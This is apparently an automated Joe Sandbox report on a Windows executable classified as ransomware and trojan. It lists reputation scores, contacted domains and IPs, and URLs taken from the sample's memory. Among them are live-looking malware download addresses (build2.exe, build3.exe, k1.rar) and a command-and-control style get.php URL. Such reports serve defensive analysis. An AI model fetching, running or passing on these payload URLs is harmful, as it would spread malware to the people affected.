https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/ui.win32.js.map/d6bb35bc608af2672a5b746ba	0%	Avira URL Cloud	safe
https://react-native-async-storage.github.io/async-storage/docs/advanced/jest	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exe	100%	Avira URL Cloud	phishing
https://www.smartsharesystems.com/	0%	URL Reputation	safe
https://assets.activity.windows.com/v1/assets	0%	Avira URL Cloud	safe
http://www.scintilla.org	0%	URL Reputation	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://www.develop.com	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://www.spaceblue.com	0%	URL Reputation	safe
http://www.baanboard.com	0%	URL Reputation	safe
http://www.develop.comDeepak	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.raru	100%	Avira URL Cloud	malware
http://www.rftp.comJosiah	0%	URL Reputation	safe
http://www.activestate.com	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://www.rftp.com	0%	URL Reputation	safe
http://www.spaceblue.comMathias	0%	URL Reputation	safe
https://www.smartsharesystems.com/Morten	0%	URL Reputation	safe
http://www.lua.org	0%	URL Reputation	safe
http://ddos.dnsnb8.net/	100%	URL Reputation	malware
http://www.youtube.com/	0%	URL Reputation	safe
http://www.amazon.com/	0%	Avira URL Cloud	safe
http://www.twitter.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.raru	10%	Virustotal		Browse
https://react-native-async-storage.github.io/async-storage/docs/advanced/jest	0%	Virustotal		Browse
http://www.twitter.com/	0%	Virustotal		Browse
http://www.amazon.com/	0%	Virustotal		Browse
https://dc.services.visualstudio.com/v2/track	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exe	14%	Virustotal		Browse
https://we.tl/t-0S984cQ4B3	0%	Avira URL Cloud	safe
https://assets.activity.windows.com/v1/assets	0%	Virustotal		Browse
https://api.2ip.ua/geo.jsonsP	0%	Avira URL Cloud	safe
https://we.tl/t-0S984cQ4B3	0%	Virustotal		Browse
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	100%	Avira URL Cloud	malware
https://dc.services.visualstudio.com/v2/track	0%	Virustotal		Browse
https://api.2ip.ua/geo.jsonv	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsonq	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637(	100%	Avira URL Cloud	malware
http://fuyt.org/files/1/build3.exe$run=	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonv	3%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar(	100%	Avira URL Cloud	malware
http://www.reddit.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/u	0%	Avira URL Cloud	safe
http://www.reddit.com/	0%	Virustotal		Browse
https://github.com/react-native-async-storage/async-storage/issues	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar%	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rar$	100%	Avira URL Cloud	phishing
https://api.2ip.ua/geo.jsonq	3%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar%	13%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar(	9%	Virustotal		Browse
http://schemas.microsoft	0%	Avira URL Cloud	safe
http://schemas.microsoft	0%	Virustotal		Browse
http://fuyt.org/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/x$	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar$	16%	Virustotal		Browse
http://ddos.dnsnb8.net:7	100%	Avira URL Cloud	malware
http://www.nytimes.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/u	3%	Virustotal		Browse
http://fuyt.org/files/1/build3.exe$run	16%	Virustotal		Browse
https://api.2ip.ua/geo.jsonT	0%	Avira URL Cloud	safe
https://api.2ip.ua/	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe	0%	Avira URL Cloud	safe
https://github.com/react-native-async-storage/async-storage/issues	0%	Virustotal		Browse
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637p	100%	Avira URL Cloud	malware
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	0%	Avira URL Cloud	safe
https://api.2ip.ua/	5%	Virustotal		Browse
https://api.2ip.ua/geo.jsonT	3%	Virustotal		Browse
http://ddos.dnsnb8.net:7	16%	Virustotal		Browse
https://api.2ip.ua/geo.jsonsP	7%	Virustotal		Browse
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exeE	0%	Avira URL Cloud	safe
https://api.2ip.ua/M	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe	11%	Virustotal		Browse
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	0%	Virustotal		Browse
https://api.2ip.ua/geo.jsoni	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonk	0%	Avira URL Cloud	safe
http://www.nytimes.com/	0%	Virustotal		Browse
https://we.tl/t-0S984cQ4	0%	Avira URL Cloud	safe
https://api.2ip.ua/M	3%	Virustotal		Browse
https://api.2ip.ua/geo.json	0%	Avira URL Cloud	safe
https://api.2ip.ua/Root	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonk	2%	Virustotal		Browse
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonSl	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exe$run	0%	Avira URL Cloud	safe
https://we.tl/t-0S984cQ4	0%	Virustotal		Browse
https://api.2ip.ua/geo.json8	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json	6%	Virustotal		Browse
https://api.2ip.ua/geo.jsoni	2%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.raroC:	100%	Avira URL Cloud	phishing
https://api.2ip.ua/A	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe-	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ddos.dnsnb8.net	44.221.84.105	true	false	13%, Virustotal, Browse	unknown
fuyt.org	92.246.89.93	true	true	15%, Virustotal, Browse	unknown
api.2ip.ua	188.114.96.3	true	false	6%, Virustotal, Browse	unknown
zerit.top	92.246.89.93	true	true	13%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown
https://api.2ip.ua/geo.json	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/ui.win32.js.map/d6bb35bc608af2672a5b746ba	prep_ui_win32_bundle_V8_perf.cache.9.dr	false	Avira URL Cloud: safe	unknown
https://react-native-async-storage.github.io/async-storage/docs/advanced/jest	prep_foundation_win32_bundle_V8_perf.cache.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://zerit.top/dl/build2.exe	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.scintilla.org/scite.rng	SciTE.exe.1.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.raru	RranN.exe, 00000001.00000003.1719066632.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.activestate.comHolger	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.amazon.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2867863906.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.baanboard.comBrendon	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.twitter.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868365498.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dc.services.visualstudio.com/v2/track	wctF86A.tmp.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://we.tl/t-0S984cQ4B3	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000828000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.9.dr, _readme.txt2.9.dr, _readme.txt0.9.dr	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.smartsharesystems.com/	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.scintilla.org	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.openssl.org/support/faq.html	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.jsonsP	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.develop.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.jsonv	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonq	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.spaceblue.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.baanboard.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637(	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://fuyt.org/files/1/build3.exe$run=	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.develop.comDeepak	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar(	RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.reddit.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868292863.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/u	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/react-native-async-storage/async-storage/issues	prep_foundation_win32_bundle_V8_perf.cache.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar%	RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp	true	13%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar$	RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://schemas.microsoft	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/x$	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.1789144785.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe$run	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:7	RranN.exe, 00000001.00000003.1719066632.0000000001482000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.nytimes.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868205947.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.1789144785.0000000000787000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000859000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.rftp.comJosiah	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.jsonT	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000859000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.activestate.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637p	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	wctF86A.tmp.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	RranN.exe, 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmp, RranN.exe, 00000001.00000003.1670150926.00000000013B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.1.dr	false	URL Reputation: safe	unknown
http://www.rftp.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://zerit.top/dl/build2.exeE	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/M	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsoni	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonk	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://we.tl/t-0S984cQ4	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.spaceblue.comMathias	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	wctF86A.tmp.9.dr	false	Avira URL Cloud: safe	unknown
https://www.smartsharesystems.com/Morten	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
https://api.2ip.ua/Root	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonSl	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zerit.top/dl/build2.exe$run	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json8	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.raroC:	RranN.exe, 00000001.00000003.1719066632.0000000001482000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/A	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe-	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.lua.org	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net/	RranN.exe, 00000001.00000003.1719165813.000000000143A000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.youtube.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868505470.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.json1	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonL	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wikipedia.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868435578.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.live.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868129840.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/foundation.win32.js.map/ff6ccdf8f8e6c224f	prep_foundation_win32_bundle_V8_perf.cache.9.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.phpp	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets/$batch	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarc	RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719165813.000000000143A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.google.com/	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868057026.0000000003460000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States	14618	AMAZON-AESUS	false
188.114.96.3	api.2ip.ua	European Union	13335	CLOUDFLARENETUS	false
92.246.89.93	fuyt.org	Russian Federation	49558	LIVECOMM-ASRespublikanskayastr3k6RU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482697
Start date and time:	2024-07-26 02:24:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.evad.winEXE@22/443@6/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 47 Number of non-executed functions: 199
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

